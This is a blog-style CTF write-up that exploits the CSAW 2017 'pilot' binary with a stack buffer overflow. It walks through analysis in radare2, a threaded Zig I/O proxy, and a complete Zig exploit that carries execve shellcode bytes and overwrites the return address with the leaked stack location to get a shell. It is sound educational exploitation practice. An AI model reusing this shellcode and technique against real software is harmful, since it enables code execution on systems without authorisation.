[Home] [Blog] [Showcase] [About]



                                                        
       -.                                 -`      
       oNy:                            `+dM.      
       /MMMd+`                       .oNMMN       
       -MMmmMNy-                  `/hNMdMMm       
       `MMh`/hMNd/`             -smMNy-.MMh       
        NMm  `-sNMmyyyyyyyyyyyyhNMd+.  -MMs       
        dMM    :dMMMMdhhhhhhhNMMMMs.   /MM/       
        yMM. -hNMh+NMh`     :NMd+mMmo. sMM-       
        oMMoyNMh:  :NMh`   :NMd. `+mMmohMM`       
        :MMMMh:`    :NMh` :NMd.    .omMMMN        
        /MMd/`       /NMh/NMd.       .oNMN`       
       `dMN.          /NMMMd`          +MM+       
       +MM+            sMMM-            dMN.      
      .NMd`           :NMMMh`           :MMy      
      +NMm/`         :NMd/NMd`         .oMMm.     
       :yNMmo.      :NMd` :NMd`     `:yNMmo.      
         .+dMNh:`  :NMd`   :NMd`  .+dMNh:`        
           `:yNMdo/NMd.     /NMd:yNMmo-           
              .omMMMMdhhhhhhhNMMMNh/`             
                `/NMMdyyyyyyyNMMh-                
                  -mMm-     +MMy`                 
                   .mMN-   oMMs                   
                    .dMNyyhMMo                    
                     `yhhhhh+                     
                                                  
    

Artix Fox

|---------------------------------------------------------------------------|
|-------------------------Exploit development with zig----------------------|
|-------------------------------and nightmare-------------------------------|
|---------------------------------------------------------------------------|
                                                                26 April 2021
--[Table of content 1. Module 06-bof-shellcode Challenge 1 Csaw17 pilot 2. Threaded programming and extending the library 3. Completing the challenge 4. Code
Challenge 1- Csaw17 pilot 
----------------------------------------------------------------------
Lets begin with the routine and analyze the binary and check what mitigations it has

        ❯ file pilot
        pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
        interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, 
        BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped

        ❯ pwn checksec pilot 
        [*] '/home/void/nightmare/modules/06-bof_shellcode/csaw17_pilot/pilot'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments
        
This is good, it has nearly no mitigations, if we can just overflow the stack, we can execute our own code.. Lets run it and see what it does.

        ❯ ./pilot 
        [*]Welcome DropShip Pilot...
        [*]I am your assitant A.I....
        [*]I will be guiding you through the tutorial....
        [*]As a first step, lets learn how to land at the designated location....
        [*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
        [*]Good Luck Pilot!....
        [*]Location:0x7ffcb626f5b0
        [*]Command:lslsl

        ❯ ./pilot 
        [*]Welcome DropShip Pilot...
        [*]I am your assitant A.I....
        [*]I will be guiding you through the tutorial....
        [*]As a first step, lets learn how to land at the designated location....
        [*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
        [*]Good Luck Pilot!....
        [*]Location:0x7ffcf12b3820
        [*]Command:
        [*]There are no commands....
        [*]Mission Failed....

        
It prints some useless data and then prints a value which changes every equation. This doesnt make sense, There is no ASLR [Address Space Layout Randomization] soo no value should choose except stack and stuff like that. Its probably some address in stack. Let's fire up radare2 and decompile main function

        undefined8 main(void)
        {
            undefined8 uVar1;
            int64_t iVar2;
            int64_t var_20h;
            
            sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
            sym.imp.setvbuf(_reloc.stdin, 0, 2, 0);
            uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                              (reloc.std::cout, "[*]Welcome DropShip Pilot...");
            sym.imp.std::ostream::operator___std::ostream____std::ostream__
                      (uVar1, 
                       sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                      );
            uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                              (reloc.std::cout, "[*]I am your assitant A.I....");
            sym.imp.std::ostream::operator___std::ostream____std::ostream__
                      (uVar1, 
                       sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                      );
            uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                              (reloc.std::cout, "[*]I will be guiding you through the tutorial....");
            sym.imp.std::ostream::operator___std::ostream____std::ostream__
                      (uVar1, 
                       sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                      );
            uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                              (reloc.std::cout, "[*]As a first step, lets learn how to land at the designated location....");
            sym.imp.std::ostream::operator___std::ostream____std::ostream__
                      (uVar1, 
                       sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                      );
            uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                              (reloc.std::cout, 
                               "[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics..."
                              );
            sym.imp.std::ostream::operator___std::ostream____std::ostream__
                      (uVar1, 
                       sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                      );
            uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                              (reloc.std::cout, "[*]Good Luck Pilot!....");
            sym.imp.std::ostream::operator___std::ostream____std::ostream__
                      (uVar1, 
                       sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                      );
            uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                              (reloc.std::cout, "[*]Location:");
            uVar1 = sym.imp.std::ostream::operator___void_const_(uVar1, &var_20h, uVar1);
            sym.imp.std::ostream::operator___std::ostream____std::ostream__
                      (uVar1, 
                       sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                      );
            sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                      (reloc.std::cout, "[*]Command:");
            iVar2 = sym.imp.read(0, &var_20h, 0x40);
            if (iVar2 < 5) {
                uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                                  (reloc.std::cout, "[*]There are no commands....");
                sym.imp.std::ostream::operator___std::ostream____std::ostream__
                          (uVar1, 
                           sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                          );
                uVar1 = sym.imp.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
                                  (reloc.std::cout, "[*]Mission Failed....");
                sym.imp.std::ostream::operator___std::ostream____std::ostream__
                          (uVar1, 
                           sym.imp.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
                          );
                uVar1 = 0xffffffff;
            } else {
                uVar1 = 0;
            }
            return uVar1;
        }
                
Holy hell! None of this makes any sense! I have never seen this madness anywhere [im a beginner BUT STILL!]. This is going to be bad, i can sense it... Okay lets go through the code and see what it means. It looks like C++, but i am not able to understand what it is trying to do. Lets go to the windowed[i hope thats the name] mode using 'v!' debug this. Using ":" you can go in command mode and make breakpoints and do other things.I will break at the 'leave' and let it run. Maybe then i will see what that printed value is. It says "Location:0x7ffcfb6b7630" and when i look at this address in memory, it is where my input starts! This is nice.

        [0x7f3bbb1fa050]> dc
        [*]Welcome DropShip Pilot...
        [*]I am your assitant A.I....
        [*]I will be guiding you through the tutorial....
        [*]As a first step, lets learn how to land at the designated location....
        [*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
        [*]Good Luck Pilot!....
        [*]Location:0x7ffe1e21c860
        [*]Command:AAAABBBBCCCCDDDD

        [0x00400b34]> px @ 0x7ffe1e21c860
        - offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
        0x7ffe1e21c860  4141 4141 4242 4242 4343 4343 4444 4444  AAAABBBBCCCCDDDD
        0x7ffe1e21c870  0ac9 211e fe7f 0000 0000 0000 0000 0000  ..!.............
        0x7ffe1e21c880  900b 4000 0000 0000 0abe ddba 3b7f 0000  ..@.........;...
        0x7ffe1e21c890  78c9 211e fe7f 0000 bf11 0000 0100 0000  x.!.............
        0x7ffe1e21c8a0  a609 4000 0000 0000 c034 11bb 3b7f 0000  ..@......4..;...
        0x7ffe1e21c8b0  0000 0000 0000 0000 4ad8 0c5b 6b82 fd3b  ........J..[k..;
        0x7ffe1e21c8c0  b008 4000 0000 0000 0000 0000 0000 0000  ..@.............
        0x7ffe1e21c8d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x7ffe1e21c8e0  4ad8 0cdd a8be 01c4 4ad8 aa37 50f7 8ac5  J.......J..7P...
        0x7ffe1e21c8f0  0000 0000 3b7f 0000 0000 0000 0000 0000  ....;...........
        0x7ffe1e21c900  0000 0000 0000 0000 0100 0000 0000 0000  ................
        0x7ffe1e21c910  78c9 211e fe7f 0000 88c9 211e fe7f 0000  x.!.......!.....
        0x7ffe1e21c920  a051 22bb 3b7f 0000 0000 0000 0000 0000  .Q".;...........
        0x7ffe1e21c930  0000 0000 0000 0000 b008 4000 0000 0000  ..........@.....
        0x7ffe1e21c940  70c9 211e fe7f 0000 0000 0000 0000 0000  p.!.............
        0x7ffe1e21c950  0000 0000 0000 0000 d908 4000 0000 0000  ..........@.....
    
Okay okay... this is good, this is good. Now we have cleared this, we need to check if we have a overflow. Going through the code, i can see that it reads 0x40 bytes in a variable called var_20h.

    iVar2 = sym.imp.read(0, &var_20h, 0x40);
    
soo we are reading 0x40=64 bytes into a buffer of 0x20=32 bytes, giving us 32 bytes overflow. Lets look at stack again and plan our exploit +--------------------+<-------------------------------- | |<-+ | | | | | | | | | | | | | | Our playground | | | | | | 0x20 bytes | | | | | | | | | | | | | | | | | |--------------------|<-+ | | | | | | SAVED RBP | | 0x08 bytes | | | | | |--------------------|<-+ | | | | | Return Addr |<---overwrite it to this -------+ | | +--------------------+ Soo what is going to happen now is that when we overwrite the return address with the address given to us, we will jump to the start of input, where will be our shellcode. This is a good plan. But we have a problem. We need to read the process's stdout and then get the hex number, meaning that the stdout_behavior will be .Pipes, soo we will have to write our own function that would act as a proxy and send our input to it and get its output and print it.
Threaded programming and extending the library
----------------------------------------------------------------------
Lets first start by doing a naive implementation, it will just read our input send it to the process and then print its stdout.

      pub fn interactive(
      proc: *std.ChildProcess,
      alloc: *std.mem.Allocator,
      delimiter: u8,
      size: usize,
  ) anyerror!void {
      while(true){
        var a =(try std.io.getStdIn().reader().readUntilDelimiterOrEofAlloc(alloc, delimiter,size)) orelse "\n";
        try proc.stdin.?.writer().print("{s}\n",.{a});
        var b:[comptime std.math.maxInt(u17)]:u8=undefined; // why comptime? just for safety. and why u17? to piss people off
        var k = try proc.stdin.?.reader.read(b[0..]);
        try std.io.getStdOut().writer().print("{s}",.{b[0..k]});

    }
  } 
This looks good, but you might have noticed one problem, what if we return an error?? we would just hang...thats bad. There is one solution of it, A threaded version of this thing. Lets plan it Main function Thread 1 +----------------+ +-----------------+ | while true | | while true | | read input | | get the mutex | | get the mutex | | write to stdout | | write to stdin | | release mutex | | release mutex | | | +----------------+ +-----------------+ A critical section is a program section, in where multiple threads can access shared ressources. A mutex guarantees mutual exclusive access to a critical section after it for the current thread. Thus only one thread can get the mutex and modify the shared data. This stops data race and makes program safer lets write some code...

        const context = struct {
            mutex: *std.Thread.Mutex,
            proc: *std.ChildProcess,
        };

        pub fn interactive(
            proc: *std.ChildProcess,
            alloc: *std.mem.Allocator,
            delimiter: u8,
            size: usize,
        ) anyerror!void {

            var mutex = std.Thread.Mutex{};
            var ctx = context{ .mutex = &mutex, .proc = proc };
            var t1 = try std.Thread.spawn(thread1, ctx);
            try mainLoop(&mutex, proc, alloc, delimiter, size);
            t1.wait();
        }
        
        fn thread1(ctx: context) !void {
            while (true) {
                var z: [std.math.maxInt(u17)]u8 = undefined;
                var len = try ctx.proc.stdout.?.reader().read(z[0..]);
                var hold = std.Thread.Mutex.acquire(ctx.mutex);
                defer hold.release();
                try std.io.getStdOut().writer().print("{s}", .{z[0..len]});
            }
        }
        
        fn mainLoop(mutex: *std.Thread.Mutex, proc: *std.ChildProcess, alloc: *std.mem.Allocator, delimiter: u8, max: usize) !void {
            while (true) {
                var c = (try std.io.getStdIn().reader().readUntilDelimiterOrEofAlloc(alloc, delimiter, max)) orelse "\n";
                var held = std.Thread.Mutex.acquire(mutex);
                defer held.release();
                try proc.stdin.?.writer().print("{s}\n", .{c[0..]});
            }
        }
Here we have 3 functions, interactive, thread1 and mainLoop. Lets explore all 3 of them 1. interactive() --> Interactive is the function we will call. It will initialize a variable ctx, which is a context struct and then spawn a thread, passing it the function to spawn and the struct. Then it will call the main loop and execute 't1.wait()'. [every thread declaration needs a call to wait()]. 2. thread1() --> thread1 is a simple function, in the while(true) loop, it will create a variable array z and then it will read from the stdout of process. Now it has something in z, soo now it will acquire the mutex, print everything and then release it. 3. mainLoop --> its a simple function, it will forever try to read input, acquire the mutex write everything to the proc's stdin, release the mutex and continue. If no value is found, then it will send a '\n'.
Completing the challenge
----------------------------------------------------------------------
Now we have everything ready. Its time to get a shellcode and proceed with the exploit. There is a website called shell-storm, we can go there and get a shellcode [make sure its smol, smaller than 0x18 bytes] Now we also need to skip till the address and read it. there is a function called "skipUntilDelimiterOrEof" we will be using it to skip till ':' and then "readUntilDelimiterOrEof". Now we will use a arraylist and append the shellcode now we have shellcode ready, its time to append some padding, we need to overwrite the address. Now we will calculate the padding by subtracting the length of the shellcode and 0x28. And we have successfully overwrote the saved rbp address. Now just append the leaked address, send it to the process, and run interactive(). Lets see it working
 
        ❯ zig run shit.zig                                
          Trying to open: ./pilotinfo: 
          0x7ffe30c2c3b0
          
          info: 
          7ffe30c2c3b0
          
          140729716491184
          1�H�ѝ��Ќ��H����;WT_0000000000000000
          ���0�
          1�H�ѝ��Ќ��H����;WT_0000000000000000���0�
          1�H�ѝ��Ќ��H����;WT_0000000000000000���0�
          1�H�ѝ��Ќ��H����;WT_0000000000000000���0�
          [*]Command:ls
          exploit.py
          hell
          packing.zig
          pilot
          pipes.zig
          readme.md
          shit
          shit.zig
          zig-cache
          whomai?
          sh: 2: whomai?: not found
          whoami
          void
          DIS WORKED
          sh: 4: DIS: not found
          shut up
          sh: 5: shut: not found
          ^C
HELL YEAH!! IT WORKED! I had never worked with threaded programming before soo i was scared of this because words like 'Mutex' and 'Semaphore' are scary for me. But the people in Zig discord server are great and they helped me through it. Mind you, i was stuck in this problem for 14+ days. 14+ DAYS!!
Code
----------------------------------------------------------------------
Exploit Code:

    const std = @import("std");
    const pipes = @import("./pipes.zig");
    const pack = @import("./packing.zig");
    
    pub fn main() anyerror!void {
        var gpa = std.heap.GeneralPurposeAllocator(.{}){};
        defer _ = gpa.deinit();
        var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
        var alloc = &arena.allocator;
        defer arena.deinit();
        var proc = try pipes.openLocal(&[_][]const u8{"./pilot"}, alloc);
        defer _ = proc.deinit();
        try proc.spawn();
        //defer try proc.kill();
        try proc.stdout.?.reader().skipUntilDelimiterOrEof(':');
        var leak = (try proc.stdout.?.reader().readUntilDelimiterOrEofAlloc(
            alloc,
            '\n',
            999999999999,
        )).?;
        var payload = std.ArrayList(u8).init(alloc);
        std.log.info("\n{s}\n", .{leak});
        std.log.info("\n{s}\n", .{leak[2..]});
        defer payload.deinit();
        try payload.appendSlice("\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05");
        try payload.appendNTimes('0', (0x28 - payload.items.len)); //(;
        var s: [8]u8 = undefined;
        var leaked = try std.fmt.parseInt(u64, leak[0..], 0);
        std.debug.print("{any}\n", .{leaked});
        std.debug.print("{s}\n", .{payload.items});
        pack.padding(u64, s[0..], leaked, std.builtin.Endian.Little);
        //var append = pack.packing([8]u8, leaked, u64);
        try payload.appendSlice(s[0..]);
        std.debug.print("{s}\n", .{s});
        std.debug.print("{s}\n", .{payload.items});
        //try payload.appendSlice(leaked[0..]);
        std.debug.print("{s}\n", .{payload.items});
        try pipes.LocalSendArraylist(proc, payload);
        std.debug.print("{s}\n", .{payload.items});
        try pipes.interactive(proc, alloc, '\n', 9000000000);
    }



The code for the library is available in the gitlab repository pwn